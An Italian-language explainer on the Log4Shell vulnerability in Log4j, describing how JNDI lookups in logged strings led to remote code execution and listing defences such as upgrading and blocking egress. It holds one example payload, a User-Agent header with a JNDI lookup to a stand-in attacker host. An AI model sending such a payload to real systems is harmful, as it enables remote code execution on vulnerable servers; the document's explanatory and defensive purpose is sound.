Log4Shell: quando un log diventa esecuzione di codice

Log4Shell (CVE-2021-44228) è l'esempio perfetto di come una feature innocua diventi catastrofe. Log4j espandeva espressioni ${...} dentro le stringhe loggate, incluse lookup JNDI.

Il meccanismo

Se un valore controllato dall'utente (un User-Agent, un nome utente) veniva loggato, l'espressione veniva valutata: JNDI contattava un server LDAP/RMI dell'attaccante che restituiva una classe Java remota, eseguita dalla vittima.

User-Agent: ${jndi:ldap://evil.com/a}
# Log4j -> JNDI -> LDAP -> scarica ed esegue classe -> RCE

Devastante perché Log4j è ovunque e bastava che l'input finisse in un log — spesso a più livelli di distanza dall'ingresso.

Difesa

Aggiorna Log4j (2.17+), che disabilita JNDI di default. Lezione generale: non valutare espressioni su dati non fidati, blocca l'egress verso Internet dai server (avrebbe fermato il fetch della classe), e conta che ogni input possa finire in un sink inatteso. Difesa in profondità e SBOM per sapere dove sta ogni libreria.